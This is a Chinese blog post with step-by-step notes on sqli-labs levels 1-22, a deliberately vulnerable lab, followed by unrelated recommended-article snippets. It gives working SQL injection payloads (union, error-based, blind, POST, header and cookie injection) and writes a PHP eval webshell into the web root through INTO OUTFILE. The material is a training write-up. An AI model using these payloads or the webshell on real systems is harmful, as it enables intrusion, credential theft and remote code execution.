Sqli-labs-master less1-22笔记_sqli-labs-master/less-22-程序员宅基地

技术标签: 安全  web  WEB安全  

#Sqli-labs-master 1-22

实验环境:Windows7 x64 专业版

​ PHPstudy 2018

​ PHP版本 5.4.45

​ 靶机:Sqli-labs-master

注:LESS1-10为GET型注入 11-22为POST型注入 每道题解法不一定唯一 对于手法重复的关卡均未赘述

第一关 — 单引号报错

本关所用到的函数:

​ database() ---- 数据库名

​ concat(str1,str2,…) ---- 没有分隔的连接字符串

​ concat_ws(separator,str1,str2,…) ---- 含有分隔符地连接字符串

​ group_concat(str1,str2,…) ---- 连接一个组的所有字符串,并以逗号分隔每一条数据

​ 1.在链接后输入?id=1’报错

http://192.168.159.128/sqli-labs-master/Less-1/?id=1'

​ 2.使用单行注释–space(空格,url编码为%20)或–+或–'或#(url编码%23)后发现成功闭合查询语句,报错消失,判断该处为单引号闭合

http://192.168.159.128/sqli-labs-master/Less-1/?id=1'--+

在这里插入图片描述

​ 3.使用order by查询表单个数,发现当值为4时页面报错,因此判断改数据库有三个表单

http://192.168.159.128/sqli-labs-master/Less-1/?id=1' order by 4--+ 

在这里插入图片描述

​ 4.使用联合查询 union select 1,2,3(使前面传入的id值恒为假 eg:id=-1)查找交互字段

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+ 

在这里插入图片描述

​ 改变任意一交互点位置为database()可得到数据库名为“security”

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

在这里插入图片描述

​ 5.使用group_concat查询数据库表名,查询后获知有四张表

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

​ 6.使用group_concat查看表中的字段,查询后获知有四个字段

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'--+

在这里插入图片描述

​ 7.获知以上数据后,即可查询securty.users中的所有字段,此处查询语句中的’^'用以分隔用户名和密码

​ 三种查询语句:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1111 union select 1,2,group_concat(username,'^',password) from security.users--+

​ //group_concat()函数

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat(username,'^',password)) from security.users--+

​ //concat函数

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('^',username,password)) from security.users--+

​ //concat_ws()函数

在这里插入图片描述

第二关 — 数值型注入

​ 字符型注入,根据传入参数后页面的变化来判断是否存在注入

​ eg: 条件为真

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=1

在这里插入图片描述

​ 条件为假:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=2

在这里插入图片描述

​ 根据真假情况下页面的显示变化来判断是否存在注入点。本关中根据页面变化可以判断存在注入点,注入方法为:将第一关中的单引号去掉,其他手法完全一致。

​ 值得注意的是本关中使用union查询时,将前半段语句构造为假的方法有两种:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,3--+

​ //通过and 1=2来构造假

http://192.168.159.128/sqli-labs-master/Less-2/?id=-1 union select 1,2,3--+

​ //通过查询一个不存在的id来构造假

第三关 — 单引号和括号闭合 将注入参数改为 ') 其他同第一关

第四关 — 双引号和括号闭合 将注入参数改为 ") 其他同第一关

第五关 — 单引号报错注入(Xpath报错注入又名双注入)

​ 该关卡中隐藏了交互字段的输出显示,需要使用相关的报错函数updatexml()

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

​ 1.传入单引号后页面显示报错,使用单行注释–后页面恢复正常,但随后的order by判断表单个数以及判断交互字段均不显示。可以尝试用floor()、updatexml()、extractvalue()函数进行报错注入。个人更喜欢用updatexml()进行注入,简单方便。故本次只采用updatexml()进行演示

在这里插入图片描述

​ 2.构造查询语句

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

​ 其中的0x7e为字符’‘的ASCII码126,或者也可以直接使用’'构造以下查询语句

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',database(),'~'),1)--+

在这里插入图片描述

​ 3.可以看到,通过updatexml()函数构造的语句已经将数据库名查询并显示出来,接下来构造语句查询库中的表名。值得注意的是,concat()中位于中间的关键查询语句需要用()括起来作为一句查询语句,但使用单一函数时可以不用括号

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1)--+

在这里插入图片描述

继续构造查询语句查询users表中的列名:

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'~'),1)--+

在这里插入图片描述

继续构造查询语句查询users表中的内容,查询结果为一个用户的账号和密码,可使用 limit 0,1、 limit 1,1来查看下一个用户的账号和密码

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select concat(username,'^',password) from users limit 0,1),'~'),1)--+

在这里插入图片描述

4.注意:

​ ①如果继续选择使用group_concat()会出现不能完全显示所有的内容且limit无效的情况,因为使用group_concat()会将字符串拼接,因此不可以用使用limit 0,1来逐个查看。且updatexml()对字符输出长度最长输出32位

​ ②报错注入是将查询的反馈信息通过报错显示出来,因此不需要再去判断有几个表,也不需要判断交互字段的位置,查到数据库名后依次进行表名、列名、字段内容的查询。

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(username,'^',password) from users limit 0,1),'~'),1)--+

在这里插入图片描述

第六关 — 双引号报错注入 该关卡只需要将第五关的单引号换成双引号

第七关 — dump into outfile

​ 开始本关之前,需要修改一下配置文件。打开mysql命令行,使用 show variables like ‘%secure%’; 查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/" 修改完成后重启phpstudy,再次使用 show variables like ‘%secure%’;查看secure_file_priv的值已经更改为 “C:” 可以开始实验。

在这里插入图片描述

​ 至于为什么要修改这个参数,现将关于secure_file_priv的配置问题罗列如下:

​ (1)限制mysqld不允许导入和导出
​ mysqld --secure_file_prive=null

​ (2)限制mysqld的导入和导出只能发生在/tmp/目录下
​ mysqld --secure_file_priv=/tmp/

​ (3)不对mysqld 的导入和导出做限制
​ 在/etc/my.cnf或者my.ini文件中不指定值。

​ 下面开始本关实验:

​ 1.尝试单引号、双引号、括号、and 1=2后只有单引号报错,确定闭合类型为单引号。使用注释–后页面依然报错,单引号后添加一个括号依旧报错,添加两个括号后页面恢复正常。

http://192.168.159.128/sqli-labs-master/Less-7/?id=1'))--+

在这里插入图片描述

​ 2.接下来通过order by判断表的个数,当order by 4时页面发生报错,因此判断有三张表

http://192.168.159.128/sqli-labs-master/Less-7/?id=1')) order by 4--+

在这里插入图片描述

​ 3.尝试使用union select 1,2,3来判断交互字段,发现页面和less5的报错注入一样没有显示交互字段,且尝试使用updatexml()也不能进行报错注入。

在这里插入图片描述

​ 4.这里需要引入另一个mysql命令:mysql select into outfile 以及php一句话木马

​ select into outfile命令作用将查询结果输出保存到一个文件中,要想使用该方法对环境的要求较高

​ ①要有file_priv权限 ②知道网站绝对路径 ③要能用union ④对web目录有写权限 ⑤没有过滤单引号

​ php一句话木马:

<?php @eval($_POST["pass"]);?> 

​ 其中的pass为使用工具连接时的连接密码,其中pass外面的引号可以用单引号也可以用双引号。当然不止这一种写法,这里不再铺开。

	file_priv在本关一开始便已经做了相应更改,其他环境要求均符合,下面开始实际操作:

​ 通过select into outfile命令将特定的查询语句写入到指定目录下的233.php文件中

http://192.168.159.128/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile "C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/less-7/233.php"--+

​ 我执行查询语句之后页面依然是报错,在参考其他帖子时发现有的是可以在网页上显示执行的命令,但我的还是和之前的报错没什么企业别,打开靶机指定的文件夹发现233.php已经生成。

在这里插入图片描述

​ 查看233.php中的内容,发现成功写入php一句话木马

在这里插入图片描述

​ 使用中国蚁剑连接一句话木马,成功连接
在这里插入图片描述

在这里插入图片描述

注意:

​ 在构造查询语句时有两个注意的地方:

​ ①一句话木马中的密码外采用单引号时会出现不能成功写入的情况,双引号写入的成功率为100%

​ ②我在在指定文件路径时,采用双反斜杠(\)和单斜杠(/)都是可行的

第八关 — 单引号闭合的布尔型盲注入

开始之前先介绍一下关于函数substring用法:
eg:substring(appache,1,3) 结果:app 即从第一位开始截取三位
在这里插入图片描述

手工盲注入比较费事费力,本关中对于每个地方的关键字猜测均只介绍了从第一个开始

1.判断数据库名长度,当length()长度为8时页面依然显示"You Are in …",当长度为9时提示消失,既查询结果为假,得知数据库名长度为8

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and length(database())=9--+

在这里插入图片描述

2.判断数据库名的第一个字母是否为a(或A) ?

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='a'--+

在这里插入图片描述

​ 根据查询结果返回值为假,则数据库名第一个字母不是a,更改要判断的字母以及判断位置,直到将数据库名查询出来。真值结果如下所示。
在这里插入图片描述

3.在这里可以借助burp suite实现快速查询,避免手动查询的繁琐,在字符a上添加一个payload标记
在这里插入图片描述

在intruder设置中选择payload为从a-z,开始攻击
在这里插入图片描述
根据返回值的长度判断出数据库名第一个字符为s,改变判断位置再次执行相同的攻击,根据返回值长度判断出数据库名第二个字符为e,其余的字符只需更改判断位置即可,不再赘述。

在这里插入图片描述
4.通过八次操作,现已知数据库名为security,现在开始获取表名

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+

判断第一张表的第一个字符是否为a,修改判断位置,其余方法一致,直到所有的表被判断出来,在这里提醒一个技巧,可在payload中加入一个英文逗号,以此来判断表名是否结束,比如在判断为止为7的时候,判断出来的字符为’,’ 即表示第一张表结束 完整表名为emails
在这里插入图片描述
5.已知数据库名,表名,查询表中的字段,方法同上

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a'--+

6.已知数据库名、表名、表中字段,现查users表中username和password字段中的内容,账号密码以’^'隔开以便区分,至此注入完毕。

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(username,'^',password) from security.users),1,1)='a'--+

提示:
1.以上的字符判断不区分大小写,但账号密码大小写敏感,对于密码大小写可用ASCII码进行判断
2.盲注入较为繁琐,了解原理之后可采用自动化注入

在这里插入图片描述

第九关 — 单引号闭合的基于时间盲注入

​ 该关卡中尝试过单引号、双引号、数值型后发现均无法使查询语句闭合,在尝试过less8的单引号闭合的布尔型盲注后,此关卡引入单引号闭合的时间盲注。

1.首先了解一下在SQL中if语句的用法

IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2 expr2
的值为FALSE,则返回值为 expr3

结合sleep()可以构成基于时间盲注的SQL语句

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring(database(),1,1)='s',sleep(3),null) --+

该语句的意思为:如果数据库名的第一个字符等于字母s为真,则延时三秒后进行响应,如果为假,则不执行任何语句,这里的null可以写成任何对该语句没有影响的条件,例如写个1、2

在这里插入图片描述

2.修改判断位置,以此判断出数据库名的其他字符,直到整个数据库名security全部取出

3.已知数据库名为security,查询数据库中的表

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(3),null) --+

结合我在盲注一中讲述的内容,查出所有的表

4.已知数据库名security、数据表users,查询表中的字段

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(3),null) --+

5.已知数据库名security、数据表users,users表中username、password字段,查询字段中的内容

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(username,'^',password) from security.users),1,1)='d',sleep(3),null) --+

至此基于时间延时盲注入完成,关于密码大小写敏感的方法已经在我布尔盲注入一中提到

提示:
判断是否能使用延时注入的方法是将sleep()带入注入点,看能否被执行,执行一下语句,如果存在延时注入,页面将会延迟响应

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and sleep(5) --+

在这里插入图片描述

第十关 — 双引号闭合的基于时间盲注,该关卡只需要将less 9的单引号换成双引号

Sqli-labs-master 11-20关 —POST

第十一关 — 单引号闭合

​ 该关卡为单引号闭合,经过尝试在用户名和密码处均存在注入漏洞。与GET型传参不同的是,在进行POST型注入的时候需要打开hackbar的Enable POST功能,先在表单中输入用户名1和密码1之后再进行load,hackbar的POST中会加载出 ”passwd=1&submit=Submit&uname=1“。”submit=submit“会导致我使用的hackbar报错”form.submit is not a function“,经过尝试将POST体中的内容改为"passwd=1&uname=1"后可正常执行构造的语句。

在这里插入图片描述

​ 本关卡中除了order by的结果为2之外,其他的方法同less完全一致,不再赘述

在这里插入图片描述

第十二关 — 双引号和括号闭合,账号和密码出均存在注入,注入方法同less11

第十三关 — 单引号和括号闭合,交互字段被隐藏,采用updatexml()报错注入,方法同less5

在这里插入图片描述

第十四关 — 双引号闭合 将less13中的 ‘) 换成 " 即可

在这里插入图片描述

第十五关 — 单引号闭合的布尔型/时间行注入

开始本关之前,需要纠正一个之前一直存在的惯性思维

?id=1 and sleep(5)-- #    uname=1&passwd=1 and sleep(5)-- #   同理:  uname=1 and sleep(5)-- #&passwd=1 

?id=1' and sleep(5)-- #   uname=1&passwd=1' and sleep(5)-- #   同理:  uname=1' and sleep(5)-- #&passwd=1 

?id=1" and sleep(5)-- #   uname=1&passwd=1" and sleep(5)-- #   同理: uname=1" and sleep(5)-- #&passwd=1 

在本关卡的测试中,由于没有显示交互字段便着手采用盲注入,但尝试以上各种语句后页面都没有发生延迟响应,经过查阅资料后得知

GET型与POST型的时间盲注还是存在相应的不同,在前面的GET型中我们知道?id=1这个条件本来就是true(users表单下面有三个关键字id、username、password。其中的id就是?id=1所查询的结果),而我们测试POST型的uname和passwd都为1,这个条件本身为false,因为数据库没有这个用户,既整个查询语句为假。但如果我们知道有一个用户的信息上面的语句就能使用:

布尔型注入结果为true的情况如下:
在这里插入图片描述

基于时间的盲注虽然页面显示login failed,但是能感觉到页面已经延迟响应,通过network查看页面也的确延迟

在这里插入图片描述

在这里插入图片描述

​ 但实际的问题中,是不一定能找出一个存在的用户,这里就需要引入“万能语句”。POST型注入中,要判断字符型注入,最方便的就是利用”万能语句“

1 or 1=1 --+           	 1) or 1=1--+            1)) or 1=1--+
1' or 1=1 --+            1') or 1=1--+           1') or 1=1--+
1" or 1=1 --+            1") or 1=1--+           1") or 1=1--+ 

一般构造方法为 x(闭合字符) or 执行语句,eg:

uname=1&passwd=1' or if((substring(database(),1,1)='s'),sleep(3),null) --+

​ 该语句解释为:判断数据库名的第一个字符是否为‘s’,true则sleep三秒,否则不执行其他指令。但在实际执行的时候发现页面延迟响应时间远大于3秒,经过查阅得知POST型延迟注入比GET型慢,实际测试后发现在POST型中sleep(1)实际的睡眠时间大概为13秒,所以我这里的sleep(3)实际睡眠时间实际为40秒

在这里插入图片描述

​ 在某些情况下,我们还可以把查询为真和假所执行的语句换一下以加快速度,比如该关卡中可以让查询为真时立刻相应,查询为假时

延迟响应。eg:

uname=1&passwd=1' or if((substring(database(),1,1)='s'),null,sleep(3)) --+

​ 了解这些前提后,我们开始正式注入操作

本关中以布尔型为例,基于时间注入请参考less9

​ 查询数据库名首字母是否为’s’,根据页面反应结果为真。依次查出数据库名为security。

uname=1&passwd=admin' or substring(database(),1,1)='s'  --+

在这里插入图片描述

​ 查询security下的第一张表第一个字母是否为’e’

uname=1&passwd=admin' or substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e'  --+

在这里插入图片描述

​ 根据less8的盲注经验,可依次查询出后续关键字,由于盲注较为费时,这里不再赘述。

第十六关 — 双引号和括号闭合的基于时间/布尔型盲注 将less15的单引号换成 ")即可

第十七关 — 本关是一个更新用户密码的过程

​ 1.输入用户名1’密码1提交后,页面显示失败,且在尝试账号和密码出分别尝试 各种闭合字符和万能语句后依然不变

在这里插入图片描述

​ 2.根据关卡标题,该关卡是一个更新密码的过程,于是将username填入admin 密码填1,显示更新密码成功
在这里插入图片描述

​ 3.尝试在username表单中尝试闭合字符,页面变成最初失败界面。尝试在密码处输入单引号,页面出现sql语句报错:
在这里插入图片描述

​ 4.继续构造查询语句,尝试使用oeder by 页面报错 Unknown column ‘2’ in ‘order clause’,且减小猜测数依然报错。尝试直接使用union select 1,2后,页面直接出现SQL语法报错。
在这里插入图片描述

​ 5.尝试使用报错注入获取数据库名,成功。后续查询请参考less5,不再赘述。

在这里插入图片描述

第十八关 — HTTP头注入–user-agent

按照之前的构造方法进行尝试后均未成功,根据题目提示此题应为HTTP头注入,使用burpsuite进行抓包尝试注入

根据页面反馈,当正确登陆时页面会返回当前的user-agent以及IP地址,得知此处应包含insert 语句,将用户的user-agent写入到数据库再显示到用户界面。由此便产生了注入漏洞。

下面开始利用updatexml()构造注入语句查询数据库名:

User-Agent: Mozilla' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and '

在这里插入图片描述

查询表单:

User-Agent: Mozilla' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)and '

在这里插入图片描述

后续查询字段以及字段中的内容与以上一样,不再赘述。

第十九关 — HTTP头注入–Referer

打开题目界面又是一个与less18相同的登录框,使用admin admin登录之后,页面显示:

在这里插入图片描述

结合less18的经验,此处又为insert语句导致的referer注入。直接使用burp抓包尝试。

Referer: http://192.168.159.128/sqli-labs-master/Less-19/' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

尝试后发现与less18只是注入位置发生了变化,其他无异。

第二十关 — HTTP头注入–Cookie

打开题目页面,又是一个相似的登陆界面,只是没有了IP地址的提示,尝试使用admin admin登录后,页面显示出:

在这里插入图片描述

点击“delete your cookie”之后,页面返回到登录窗口。

使用burpsuite抓包,结合标题,在cookie处尝试构造注入语句。通过尝试发现有三张表,交互字段位于2所处的位置,后续步骤为普通的union查询。

Cookie: uname=-admin' union select 1,database(),3--+

在这里插入图片描述

第二十一关 — HTTP头注入–Cookie(BASE64编码)

题目页面又是一个熟悉的登录框,尝试普通测试语句无效后,使用admin admin登录,登录后出现信息页面:

在这里插入图片描述

与上几关不同的是(本关中的warning是我的时区配置问题),本关中的cookie内容是经过base64加密的,同样在cookie位置尝试注入,发现无效。经过查阅资料得知在加密的cookie注入时,应将相应的注入语句采用同样的加密方式加密后在代入注入点即可。

将“uname=”后面的尝试语句进行加密后带入注入点,页面出现SQL报错。

Cookie: uname=YWRtaW4n

在这里插入图片描述

继续尝试其闭合字符,发现闭合字符为 ‘) 即:admin’)# ==> WRtaW4nKSM=
在这里插入图片描述

查询数据库名:
在这里插入图片描述

在这里插入图片描述

剩余步骤只需要按照正常的union查询,并将查询语句进行base64加密再带入注入点即可。

第二十二关 — HTTP头注入–Cookie(BASE64编码)

本关与less相比,只有闭合字符发生了变化,本关的闭合字符为 "

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/skynet_x/article/details/109284094

智能推荐

Kotlin 解压缩_kotlin 对上传的压缩包进行分析-程序员宅基地

文章浏览阅读638次。fun unZip(zipFile: String, context: Context) { var outputStream: OutputStream? = null var inputStream: InputStream? = null try { val zf = ZipFile(zipFile) val entries = zf.entries() while (en..._kotlin 对上传的压缩包进行分析

64K方法数限制解决办法_java函数大于64k编译失败-程序员宅基地

文章浏览阅读1.9k次。随着业务逻辑越来越多,业务模块也越来越大,不可避免会遇到64K方法数的限制。最直观的表现就是编译报错:较早版本的编译系统中,错误内容如下:Conversion to Dalvik format failed:Unable to execute dex: method ID not in [0, 0xffff]: 65536较新版本的编译系统中,错误内容如下:trouble writing outp_java函数大于64k编译失败

案例分享——低压电力线载波通信模组(借助电源线实现远距离数据传输、宽压输入、波特率范围广、应用场景多样化)_电力载波模块csdn-程序员宅基地

文章浏览阅读2k次,点赞7次,收藏10次。物联网领域,有很多数据通信场景,因为原设备整体系统结构、运行环境等方面的限制,需求在不增加通信数据线缆的情况下实现数据的远程传输,因为特殊应用场景下考虑到环境的限制,还不能使用常规的无线通信手段,所以借助电源线缆进行传输的电力线载波技术应运而生,本次博文给大家分享的就是博主完全自主研发的低压电力线载波通信模组。_电力载波模块csdn

密码学基础_密码体制的五个要素-程序员宅基地

文章浏览阅读7.4k次。密码学基本概念 密码学(Cryptology)是结合数学、计算机科学、电子与通信等学科于一体的交叉学科,研究信息系统安全的科学。起源于保密通信技术。具体来讲,研究信息系统安全保密和认证的一门科学。 密码编码学,通过变换消息(对信息编码)使其保密的科学和艺术 密码分析学,在未知密钥的情况下从密文推_密码体制的五个要素

python支持中文路径_基于python 处理中文路径的终极解决方法-程序员宅基地

文章浏览阅读1.9k次。1 、据说python3就没有这个问题了2 、u'字符串' 代表是unicode格式的数据,路径最好写成这个格式,别直接跟字符串'字符串'这类数据相加,相加之后type就是str,这样就会存在解码失误的问题。别直接跟字符串'字符串'这类数据相加别直接跟字符串'字符串'这类数据相加别直接跟字符串'字符串'这类数据相加unicode类型别直接跟字符串'字符串'这类数据相加说四遍3 、有些读取的方式偏偏..._python 路径 中文

阿里云 B 站直播首秀,用 Serverless 搭个游戏机?-程序员宅基地

文章浏览阅读107次。最近,阿云 B 站没声音,是在憋大招!8月5日周四 19:00 是阿里云的直播首秀,给大家请来了 Forrester 评分世界第一的 Serverless 团队产品经理江昱,给大家在线...._阿里云直播b站

随便推点

AS 3.1.3连续依赖多个Module,导致访问不到Module中的类_为什么as在一个包下建了多个module,缺无法打开了-程序员宅基地

文章浏览阅读1.1k次。我好苦啊,半夜还在打代码。还出bug,狗日的。问题是这样的:我在新建的项目里,建了两个Module: fiora-ec和fiora-core。项目的依赖顺序是这样的,App依赖fiora-ec,fiora-ec又依赖于fiora-core,因为这种依赖关系,所有可以在app和fiora-ec中删除一些不必要的引入,比如这个玩意儿:com.android.support:appcompat-v7:..._为什么as在一个包下建了多个module,缺无法打开了

Magento 常用插件二-程序员宅基地

文章浏览阅读1.4k次。1. SMTP 插件 URL:http://www.magentocommerce.com/magento-connect/TurboSMTP/extension/4415/aschroder_turbosmtp KEY:magento-community/Aschroder_TurboSmtp 2. Email Template Adapter..._magento extension pour ricardo.ch

【连载】【FPGA黑金开发板】Verilog HDL那些事儿--低级建模的资源(六)-程序员宅基地

文章浏览阅读161次。声明:本文为原创作品,版权归akuei2及黑金动力社区共同所有,如需转载,请注明出处http://www.cnblogs.com/kingst/ 2.5 低级建模的资源 低级建模有讲求资源的分配,目的是使用“图形”来提高建模的解读性。 图上是低级建模最基本的建模框图,估计大家在实验一和实验二已经眼熟过。功能模块(低级功能模块)是一个水平的长方形,而控制模块(低级控制模块)是矩形。组..._cyclone ep2c8q208c黑金开发板

R语言实用案例分析-1_r语言案例分析-程序员宅基地

文章浏览阅读2.2w次,点赞10次,收藏63次。在日常生活和实际应用当中,我们经常会用到统计方面的知识,比如求最大值,求平均值等等。R语言是一门统计学语言,他可以方便的完成统计相关的计算,下面我们就来看一个相关案例。1. 背景最近西安交大大数据专业二班,开设了Java和大数据技术课程,班级人数共100人。2. 需求通过R语言完成该100位同学学号的生成,同时使用R语言模拟生成Java和大数据技术成绩,成绩满分为100,需要满足正_r语言案例分析

Java知识体系总结(2024版),这一次带你搞懂Spring代理创建过程-程序员宅基地

文章浏览阅读639次,点赞11次,收藏26次。虽然我个人也经常自嘲,十年之后要去成为外卖专员,但实际上依靠自身的努力,是能够减少三十五岁之后的焦虑的,毕竟好的架构师并不多。架构师,是我们大部分技术人的职业目标,一名好的架构师来源于机遇(公司)、个人努力(吃得苦、肯钻研)、天分(真的热爱)的三者协作的结果,实践+机遇+努力才能助你成为优秀的架构师。如果你也想成为一名好的架构师,那或许这份Java成长笔记你需要阅读阅读,希望能够对你的职业发展有所帮助。一个人可以走的很快,但一群人才能走的更远。

车辆动力学及在Unity、UE4中的实现_unity 车辆动力学模型-程序员宅基地

文章浏览阅读3.9k次,点赞9次,收藏53次。受力分析直线行驶时的车轮受力如下:水平方向上,所受合力为:F=Ft+Fw+FfF=F_t+F_w+F_fF=Ft​+Fw​+Ff​其中,FtF_tFt​为牵引力,FwF_wFw​为空气阻力,FfF_fFf​为滚动阻力,下面我们将逐个介绍。驱动力先来说扭矩,扭矩是使物体发生旋转的一个特殊力矩,等于力和力臂的乘积,单位为N∙mN∙mN∙m:设驱动轴的扭矩为TtT_tTt​,车轮半径为rrr,那么牵引力:Ft=Tt⁄rF_t=T_t⁄rFt​=Tt​⁄r如何求得驱动轴扭矩TtT_tTt​呢?_unity 车辆动力学模型